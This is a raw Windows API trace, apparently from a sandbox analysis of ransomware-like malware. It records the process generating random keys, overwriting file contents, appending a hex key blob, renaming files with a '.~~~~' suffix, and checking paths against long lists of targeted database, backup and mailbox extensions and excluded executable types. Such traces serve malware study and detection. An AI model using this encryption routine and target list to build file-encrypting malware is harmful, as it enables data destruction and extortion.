	[0085.976] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x362f90 | out: pbBuffer=0x362f90) returned 1
	[0085.976] CryptReleaseContext (hProv=0x39fe28, dwFlags=0x0) returned 1
	[0085.976] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x362f90 | out: hHeap=0x300000) returned 1
	[0085.976] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368b90
	[0085.976] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x286e200
	[0085.976] QueryPerformanceCounter (in: lpPerformanceCount=0x26dfc48 | out: lpPerformanceCount=0x26dfc48*=20596609734) returned 1
	[0085.976] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x26dfc88 | out: lpSystemTimeAsFileTime=0x26dfc88*(dwLowDateTime=0x9d0ed110, dwHighDateTime=0x1d60e1e)) 
	[0085.976] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362380
	[0085.976] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362360
	[0085.976] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x3570e0
	[0085.976] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x3a2d78
	[0085.976] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0085.976] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3a2d78 | out: hHeap=0x300000) returned 1
	[0085.976] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fcfe0
	[0085.976] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0085.976] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x3aba08
	[0085.976] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fcfe0 | out: hHeap=0x300000) returned 1
	[0085.976] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x37c4f0
	[0085.977] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3aba08 | out: hHeap=0x300000) returned 1
	[0085.977] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x26dfb18) 
	[0085.977] GetLastError () returned 0x0
	[0085.977] GetLastError () returned 0x0
	[0085.977] RtlUnwind (TargetFrame=0x26dfc20, TargetIp=0x423f9b, ExceptionRecord=0x26df5dc, ReturnValue=0x0) 
	[0085.977] GetLastError () returned 0x0
	[0085.977] GetLastError () returned 0x0
	[0085.978] SetFilePointerEx (in: hFile=0x120, liDistanceToMove=0xfffffe38, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0085.979] WriteFile (in: hFile=0x120, lpBuffer=0x2843fe0*, nNumberOfBytesToWrite=0x1c8, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x2843fe0*, lpNumberOfBytesWritten=0x26dfec0*=0x1c8, lpOverlapped=0x0) returned 1
	[0085.979] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2843fe0 | out: hHeap=0x300000) returned 1
	[0085.979] SetFilePointerEx (in: hFile=0x120, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0085.979] WriteFile (in: hFile=0x120, lpBuffer=0x368b90*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368b90*, lpNumberOfBytesWritten=0x26dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0085.979] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0085.979] WriteFile (in: hFile=0x120, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x26dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0085.979] CloseHandle (hObject=0x120) returned 1
	[0085.979] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xb0) returned 0x27f56c8
	[0085.980] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SATIN\\SATIN.INF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\satin\\satin.inf"), lpNewFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SATIN\\SATIN.INF.~~~~" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\satin\\satin.inf.~~~~")) returned 1
	[0085.980] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27f56c8 | out: hHeap=0x300000) returned 1
	[0085.980] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3570e0 | out: hHeap=0x300000) returned 1
	[0085.980] GetLastError () returned 0x0
	[0085.980] RtlWakeConditionVariable () returned 0x365f70
	[0085.981] GetCurrentThreadId () returned 0x9cc
	[0085.981] GetCurrentThreadId () returned 0x9cc
	[0085.981] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x3baaf0
	[0085.981] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3bad90 | out: hHeap=0x300000) returned 1
	[0085.981] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3a2db0 | out: hHeap=0x300000) returned 1
	[0085.981] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x3bad90
	[0085.981] lstrlenW (lpString=".scr") returned 4
	[0085.981] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SATIN\\THMBNAIL.PNG", lpSrch=".scr") returned 0x0
	[0085.981] lstrlenW (lpString=".cmd") returned 4
	[0085.981] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SATIN\\THMBNAIL.PNG", lpSrch=".cmd") returned 0x0
	[0085.981] lstrlenW (lpString=".dll") returned 4
	[0085.981] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SATIN\\THMBNAIL.PNG", lpSrch=".dll") returned 0x0
	[0085.981] lstrlenW (lpString=".bat") returned 4
	[0085.981] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SATIN\\THMBNAIL.PNG", lpSrch=".bat") returned 0x0
	[0085.981] lstrlenW (lpString=".cpl") returned 4
	[0085.981] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SATIN\\THMBNAIL.PNG", lpSrch=".cpl") returned 0x0
	[0085.981] lstrlenW (lpString=".sys") returned 4
	[0085.981] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SATIN\\THMBNAIL.PNG", lpSrch=".sys") returned 0x0
	[0085.981] lstrlenW (lpString=".msc") returned 4
	[0085.981] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SATIN\\THMBNAIL.PNG", lpSrch=".msc") returned 0x0
	[0085.981] lstrlenW (lpString=".com") returned 4
	[0085.981] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SATIN\\THMBNAIL.PNG", lpSrch=".com") returned 0x0
	[0085.981] lstrlenW (lpString=".lnk") returned 4
	[0085.982] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SATIN\\THMBNAIL.PNG", lpSrch=".lnk") returned 0x0
	[0085.982] lstrlenW (lpString=".msp") returned 4
	[0085.982] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SATIN\\THMBNAIL.PNG", lpSrch=".msp") returned 0x0
	[0085.982] lstrlenW (lpString=".pif") returned 4
	[0085.982] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SATIN\\THMBNAIL.PNG", lpSrch=".pif") returned 0x0
	[0085.982] lstrlenW (lpString="msp\r\n.pif") returned 9
	[0085.982] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SATIN\\THMBNAIL.PNG", lpSrch="msp\r\n.pif") returned 0x0
	[0085.982] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SATIN\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\satin\\thmbnail.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x120
	[0085.982] lstrlenW (lpString=".sqb") returned 4
	[0085.982] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SATIN\\THMBNAIL.PNG", lpSrch=".sqb") returned 0x0
	[0085.982] lstrlenW (lpString=".ost") returned 4
	[0085.982] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SATIN\\THMBNAIL.PNG", lpSrch=".ost") returned 0x0
	[0085.982] lstrlenW (lpString=".txt") returned 4
	[0085.982] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SATIN\\THMBNAIL.PNG", lpSrch=".txt") returned 0x0
	[0085.982] lstrlenW (lpString=".mdt") returned 4
	[0085.983] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SATIN\\THMBNAIL.PNG", lpSrch=".mdt") returned 0x0
	[0085.983] lstrlenW (lpString=".BDB") returned 4
	[0085.983] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SATIN\\THMBNAIL.PNG", lpSrch=".BDB") returned 0x0
	[0085.983] lstrlenW (lpString=".eql") returned 4
	[0085.983] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SATIN\\THMBNAIL.PNG", lpSrch=".eql") returned 0x0
	[0085.983] lstrlenW (lpString=".DBF") returned 4
	[0085.983] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SATIN\\THMBNAIL.PNG", lpSrch=".DBF") returned 0x0
	[0085.983] lstrlenW (lpString=".EQL") returned 4
	[0085.983] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SATIN\\THMBNAIL.PNG", lpSrch=".EQL") returned 0x0
	[0085.983] lstrlenW (lpString=".FDB") returned 4
	[0085.983] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SATIN\\THMBNAIL.PNG", lpSrch=".FDB") returned 0x0
	[0085.983] lstrlenW (lpString=".EDB") returned 4
	[0085.983] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SATIN\\THMBNAIL.PNG", lpSrch=".EDB") returned 0x0
	[0085.983] lstrlenW (lpString=".DACPAC") returned 7
	[0085.983] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SATIN\\THMBNAIL.PNG", lpSrch=".DACPAC") returned 0x0
	[0085.983] lstrlenW (lpString=".VHD") returned 4
	[0085.983] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SATIN\\THMBNAIL.PNG", lpSrch=".VHD") returned 0x0
	[0085.983] lstrlenW (lpString=".DBV") returned 4
	[0085.983] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SATIN\\THMBNAIL.PNG", lpSrch=".DBV") returned 0x0
	[0085.983] lstrlenW (lpString=".dacpac") returned 7
	[0085.983] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SATIN\\THMBNAIL.PNG", lpSrch=".dacpac") returned 0x0
	[0085.983] lstrlenW (lpString=".sdf") returned 4
	[0085.983] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SATIN\\THMBNAIL.PNG", lpSrch=".sdf") returned 0x0
	[0085.983] lstrlenW (lpString=".accdb") returned 6
	[0085.983] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SATIN\\THMBNAIL.PNG", lpSrch=".accdb") returned 0x0
	[0085.984] lstrlenW (lpString=".DBX") returned 4
	[0085.984] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SATIN\\THMBNAIL.PNG", lpSrch=".DBX") returned 0x0
	[0085.984] lstrlenW (lpString=".MDT") returned 4
	[0085.984] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SATIN\\THMBNAIL.PNG", lpSrch=".MDT") returned 0x0
	[0085.984] lstrlenW (lpString=".SQB") returned 4
	[0085.984] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SATIN\\THMBNAIL.PNG", lpSrch=".SQB") returned 0x0
	[0085.984] lstrlenW (lpString=".vhd") returned 4
	[0085.984] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SATIN\\THMBNAIL.PNG", lpSrch=".vhd") returned 0x0
	[0085.984] lstrlenW (lpString=".bac") returned 4
	[0085.984] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SATIN\\THMBNAIL.PNG", lpSrch=".bac") returned 0x0
	[0085.984] lstrlenW (lpString=".mdf") returned 4
	[0085.984] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SATIN\\THMBNAIL.PNG", lpSrch=".mdf") returned 0x0
	[0085.984] lstrlenW (lpString=".BAK") returned 4
	[0085.984] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SATIN\\THMBNAIL.PNG", lpSrch=".BAK") returned 0x0
	[0085.984] lstrlenW (lpString=".BAC") returned 4
	[0085.984] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SATIN\\THMBNAIL.PNG", lpSrch=".BAC") returned 0x0
	[0085.984] lstrlenW (lpString=".dbs") returned 4
	[0085.984] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SATIN\\THMBNAIL.PNG", lpSrch=".dbs") returned 0x0
	[0085.984] lstrlenW (lpString=".vhdx") returned 5
	[0085.984] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SATIN\\THMBNAIL.PNG", lpSrch=".vhdx") returned 0x0
	[0085.984] lstrlenW (lpString=".NDF") returned 4
	[0085.984] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SATIN\\THMBNAIL.PNG", lpSrch=".NDF") returned 0x0
	[0085.984] lstrlenW (lpString=".dat") returned 4
	[0085.984] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SATIN\\THMBNAIL.PNG", lpSrch=".dat") returned 0x0
	[0085.984] lstrlenW (lpString=".DBS") returned 4
	[0085.984] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SATIN\\THMBNAIL.PNG", lpSrch=".DBS") returned 0x0
	[0085.985] lstrlenW (lpString=".CKP") returned 4
	[0085.985] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SATIN\\THMBNAIL.PNG", lpSrch=".CKP") returned 0x0
	[0085.985] lstrlenW (lpString=".edb") returned 4
	[0085.985] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SATIN\\THMBNAIL.PNG", lpSrch=".edb") returned 0x0
	[0085.985] lstrlenW (lpString=".PST") returned 4
	[0085.985] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SATIN\\THMBNAIL.PNG", lpSrch=".PST") returned 0x0
	[0085.985] lstrlenW (lpString=".dbf") returned 4
	[0085.985] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SATIN\\THMBNAIL.PNG", lpSrch=".dbf") returned 0x0
	[0085.985] lstrlenW (lpString=".SQL") returned 4
	[0085.985] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SATIN\\THMBNAIL.PNG", lpSrch=".SQL") returned 0x0
	[0085.985] lstrlenW (lpString=".pst") returned 4
	[0085.985] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SATIN\\THMBNAIL.PNG", lpSrch=".pst") returned 0x0
	[0085.985] lstrlenW (lpString=".dbv") returned 4
	[0085.985] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SATIN\\THMBNAIL.PNG", lpSrch=".dbv") returned 0x0
	[0085.985] lstrlenW (lpString=".SDF") returned 4
	[0085.985] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SATIN\\THMBNAIL.PNG", lpSrch=".SDF") returned 0x0
	[0085.985] lstrlenW (lpString=".dtxs") returned 5
	[0085.985] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SATIN\\THMBNAIL.PNG", lpSrch=".dtxs") returned 0x0
	[0085.985] lstrlenW (lpString=".db3") returned 4
	[0085.985] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SATIN\\THMBNAIL.PNG", lpSrch=".db3") returned 0x0
	[0085.985] lstrlenW (lpString=".OST") returned 4
	[0085.985] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SATIN\\THMBNAIL.PNG", lpSrch=".OST") returned 0x0
	[0085.985] lstrlenW (lpString=".dbx") returned 4
	[0085.985] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SATIN\\THMBNAIL.PNG", lpSrch=".dbx") returned 0x0
	[0085.985] lstrlenW (lpString=".DB3") returned 4
	[0085.985] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SATIN\\THMBNAIL.PNG", lpSrch=".DB3") returned 0x0
	[0085.986] lstrlenW (lpString=".DAT") returned 4
	[0085.986] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SATIN\\THMBNAIL.PNG", lpSrch=".DAT") returned 0x0
	[0085.986] lstrlenW (lpString=".VHDX") returned 5
	[0085.986] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SATIN\\THMBNAIL.PNG", lpSrch=".VHDX") returned 0x0
	[0085.986] lstrlenW (lpString=".ndf") returned 4
	[0085.986] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SATIN\\THMBNAIL.PNG", lpSrch=".ndf") returned 0x0
	[0085.986] lstrlenW (lpString=".DB") returned 3
	[0085.986] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SATIN\\THMBNAIL.PNG", lpSrch=".DB") returned 0x0
	[0085.986] lstrlenW (lpString=".sql") returned 4
	[0085.986] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SATIN\\THMBNAIL.PNG", lpSrch=".sql") returned 0x0
	[0085.986] lstrlenW (lpString=".MYD") returned 4
	[0085.986] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SATIN\\THMBNAIL.PNG", lpSrch=".MYD") returned 0x0
	[0085.986] lstrlenW (lpString=".DBT") returned 4
	[0085.986] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SATIN\\THMBNAIL.PNG", lpSrch=".DBT") returned 0x0
	[0085.986] lstrlenW (lpString=".ACCDB") returned 6
	[0085.986] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SATIN\\THMBNAIL.PNG", lpSrch=".ACCDB") returned 0x0
	[0085.986] lstrlenW (lpString=".fdb") returned 4
	[0085.986] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SATIN\\THMBNAIL.PNG", lpSrch=".fdb") returned 0x0
	[0085.986] lstrlenW (lpString=".bak") returned 4
	[0085.986] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SATIN\\THMBNAIL.PNG", lpSrch=".bak") returned 0x0
	[0085.986] lstrlenW (lpString=".myd") returned 4
	[0085.986] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SATIN\\THMBNAIL.PNG", lpSrch=".myd") returned 0x0
	[0085.986] lstrlenW (lpString=".DTXS") returned 5
	[0085.986] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SATIN\\THMBNAIL.PNG", lpSrch=".DTXS") returned 0x0
	[0085.986] lstrlenW (lpString=".ckp") returned 4
	[0085.986] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SATIN\\THMBNAIL.PNG", lpSrch=".ckp") returned 0x0
	[0085.987] lstrlenW (lpString=".dbt") returned 4
	[0085.987] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SATIN\\THMBNAIL.PNG", lpSrch=".dbt") returned 0x0
	[0085.987] lstrlenW (lpString=".db") returned 3
	[0085.987] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SATIN\\THMBNAIL.PNG", lpSrch=".db") returned 0x0
	[0085.987] lstrlenW (lpString=".TXT") returned 4
	[0085.987] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SATIN\\THMBNAIL.PNG", lpSrch=".TXT") returned 0x0
	[0085.987] lstrlenW (lpString=".MDF") returned 4
	[0085.987] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SATIN\\THMBNAIL.PNG", lpSrch=".MDF") returned 0x0
	[0085.987] lstrlenW (lpString=".bdb") returned 4
	[0085.987] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SATIN\\THMBNAIL.PNG", lpSrch=".bdb") returned 0x0
	[0085.987] lstrlenW (lpString=".fdb\r\n.bak\r\n.myd\r\n.DTXS\r\n.ckp\r\n.dbt\r\n.db\r\n.TXT\r\n.MDF\r\n.bdb") returned 58
	[0085.987] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SATIN\\THMBNAIL.PNG", lpSrch=".fdb\r\n.bak\r\n.myd\r\n.DTXS\r\n.ckp\r\n.dbt\r\n.db\r\n.TXT\r\n.MDF\r\n.bdb") returned 0x0
	[0085.987] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x130) returned 0x2804470
	[0085.987] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x20) returned 0x362f90
	[0085.987] CryptAcquireContextA (in: phProv=0x26dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x26dfcdc*=0x39fe28) returned 1
	[0085.989] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x362f90 | out: pbBuffer=0x362f90) returned 1
	[0085.989] CryptReleaseContext (hProv=0x39fe28, dwFlags=0x0) returned 1
	[0085.989] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x362f90 | out: hHeap=0x300000) returned 1
	[0085.989] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368b90
	[0085.989] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x286e200
	[0085.989] QueryPerformanceCounter (in: lpPerformanceCount=0x26dfc48 | out: lpPerformanceCount=0x26dfc48*=20597887685) returned 1
	[0085.989] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x26dfc88 | out: lpSystemTimeAsFileTime=0x26dfc88*(dwLowDateTime=0x9d113270, dwHighDateTime=0x1d60e1e)) 
	[0085.989] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362360
	[0085.989] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362380
	[0085.989] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x3570e0
	[0085.989] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x3a2db0
	[0085.989] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0085.989] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3a2db0 | out: hHeap=0x300000) returned 1
	[0085.989] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fcfe0
	[0085.989] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0085.989] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x3bace8
	[0085.989] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fcfe0 | out: hHeap=0x300000) returned 1
	[0085.989] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x37c4f0
	[0085.989] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3bace8 | out: hHeap=0x300000) returned 1
	[0085.989] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x26dfb18) 
	[0085.990] GetLastError () returned 0x0
	[0085.990] GetLastError () returned 0x0
	[0085.990] RtlUnwind (TargetFrame=0x26dfc20, TargetIp=0x423f9b, ExceptionRecord=0x26df5dc, ReturnValue=0x0) 
	[0085.990] GetLastError () returned 0x0
	[0085.990] GetLastError () returned 0x0
	[0085.993] SetFilePointerEx (in: hFile=0x120, liDistanceToMove=0xffff7a8d, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0085.993] WriteFile (in: hFile=0x120, lpBuffer=0x2843fe0*, nNumberOfBytesToWrite=0x8573, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x2843fe0*, lpNumberOfBytesWritten=0x26dfec0*=0x8573, lpOverlapped=0x0) returned 1
	[0085.993] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2843fe0 | out: hHeap=0x300000) returned 1
	[0085.994] SetFilePointerEx (in: hFile=0x120, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0085.994] WriteFile (in: hFile=0x120, lpBuffer=0x368b90*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368b90*, lpNumberOfBytesWritten=0x26dfec0*=0x8, lpOverlapped=0x0) returned 1
